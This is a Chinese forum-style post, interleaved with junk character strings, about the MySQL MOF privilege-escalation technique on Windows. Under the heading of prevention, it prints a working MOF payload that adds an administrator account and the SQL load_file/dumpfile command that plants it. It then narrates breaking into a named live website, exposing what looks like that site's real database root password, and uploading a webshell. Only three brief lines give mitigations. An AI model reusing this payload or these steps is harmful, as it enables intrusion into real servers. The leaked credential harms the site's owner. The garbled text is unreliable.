Mysql mof扩展漏洞防范方法
# I* g2 r; f7 K) z6 c/ b& i+ [ u5 p9 m/ c* ]/ P4 y
网上公开的一些利用代码:
1 _ {/ w. a# P4 ?4 ] J& g
0 R ~5 J" C/ b# o#pragma namespace(“\\\\.\\root\\subscription”)
7 j% |8 a6 ?9 P8 e9 h3 k Q E3 K C! B3 d% l5 _+ ]5 { b
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
* O3 j' }; v, z; z( ]0 [' T$ W( x$ M" ?( J7 M
6 C6 Y, U) a' o: r8 q ^ }
q d& a% |8 S, F. n# @- w
; b7 h2 C5 w8 |: M, T8 C
$ [5 L1 L% U! m d. i连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
; l. o, F8 a+ z* a3 N从上面代码来看得出解决办法:
3 P$ M: M k% P* p* e* o: |3 k6 X, ^1 D3 v: `
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
: y3 o( |# @: n r; ^$ j# W7 C9 @" K$ F0 W6 G, Y8 t
2、禁止使用”WScript.Shel”组件
- ]0 x0 _1 B6 D# P6 }" q5 R; Z2 Y( B* q `/ p
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
/ b: h/ t, R- U" R7 f
5 F' K8 U: L m- J8 k+ E当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下% w) `% g. r' n
, z# n6 I7 R7 x2 P, Z事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
% Z: e& B7 G& f- r: M0 }3 F; s- Z: l' K% p$ _4 H$ k3 m- a
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容; Y8 s2 j: u0 U
( U$ b# H& `1 P6 _/ D7 Z7 R看懂了后就开始练手吧
9 ?; n9 A w, _% t# ~& C) b* n3 K- s! Y( x- S8 ^" R: q/ w
http://www.webbmw.com/config/config_ucenter.php 一句话 a
! h& [" T+ {% r1 W0 V3 n( l: z
* r0 c9 q% S6 A f+ d$ ]$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
; D: ~1 S0 \. g1 t0 f( |- ?. c3 k/ d, @; T: ^
于是直接用菜刀开搞) O, Y6 q/ G' r3 z+ o
4 K' N( @' f8 w: {6 D8 b上马先
# l; x/ ?& Q) |( j1 Q
o+ K( K1 q1 S3 M$ `5 x+ H既然有了那些账号 之类的 于是我们就执行吧…….9 M) c& V1 l& m4 t, _2 o
+ Y0 E4 F: [" L, W5 B2 B w3 @
小小的说下
! x7 R4 }% M# N: }0 k+ i* W1 h1 }. h- Z
$ K V: `! A( @1 a, [8 N在这里第1次执行未成功 原因未知; K/ U8 R+ X4 \4 c
/ @9 E7 l- d. b8 e我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
( k( }; e# Q, C0 u; A: P" r; c+ {! X" ? A
#pragma namespace(“\\\\.\\root\\subscription”): S) C& O: r, P
& [- q( H3 [' P1 d- R
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };; U) G! W9 ^$ s/ I
x" D E% l1 r2 p9 v* Y8 H
我是将文件放到C:\WINDOWS\temp\1.mof
|5 a6 [- g. O. f$ P8 z1 A1 Y. z% \! m0 w' {6 [; Y
所以我们就改下执行的代码
& d, m8 u3 n3 O- q% q7 {0 `
, T7 Q5 b; Z! ?0 p. m8 X! N# uselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
" s* A$ i& O/ N" a9 K0 U7 X* D( u3 S3 N
4 J% g5 F( k# ]7 i% B9 ]( a) f+ [; a. z5 n
& p& O. ^/ K: q: W& r" V, l但是 你会发现账号还是没有躺在那里。。8 T- x0 ^- K3 O/ J& E U1 J. I
) ^* R0 c8 W; M2 s于是我就感觉蛋疼7 Q$ f; @4 ]* ~6 q" ~5 R
! G8 U7 W: e5 |5 K+ a* K就去一个一个去执行 但是执行到第2个 mysql时就成功了………& u6 t. `; _$ x" F. X+ }9 L1 T6 J* f
1 z2 @) k- h0 ]* Z5 i
0 }# U# S) U; w% q
. y# l2 c# |/ D9 o& j/ N但是其他库均不成功…/ f2 S% N1 C) P5 R
: v( ^4 D1 U7 O! Q我就很费解呀 到底为什么不成功求大牛解答…* q% G' ?& \" [% G# E# t# i
& u, v; O$ Y- U$ n4 m k, J) x" b& ^; f1 F
8 T7 T: u9 T: I" K( \
|